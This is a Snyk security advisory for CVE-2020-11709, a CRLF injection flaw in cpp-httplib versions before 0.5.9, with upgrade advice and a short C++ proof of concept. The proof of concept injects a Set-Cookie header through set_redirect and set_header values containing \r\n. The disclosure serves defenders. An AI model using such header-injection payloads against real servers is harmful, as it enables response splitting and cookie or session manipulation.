CRLF Injection Affecting yhirose/cpp-httplib package, versions [,0.5.9)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-YHIROSECPPHTTPLIB-2366507
- published26 Jan 2022
- disclosed12 Apr 2020
- creditshouc
Introduced: 12 Apr 2020
CVE-2020-11709 (opens in a new tab)How to fix?
Upgrade yhirose/cpp-httplib to version 0.5.9 or higher.
Overview
Affected versions of this package are vulnerable to CRLF Injection due to not filtering \r\n in parameters passed into the set_redirect and set_header functions.
PoC
#include "cpp-httplib/httplib.h"
using namespace httplib;
int main() {
Server svr;
svr.Get("/1", [](const Request& req, Response& res) {
res.set_redirect("1\r\nSet-Cookie: a=1");
});
svr.Get("/2", [](const Request& req, Response& res) {
res.set_header("a", "1\r\nSet-Cookie: a=1");
});
svr.listen("localhost", 3000);
}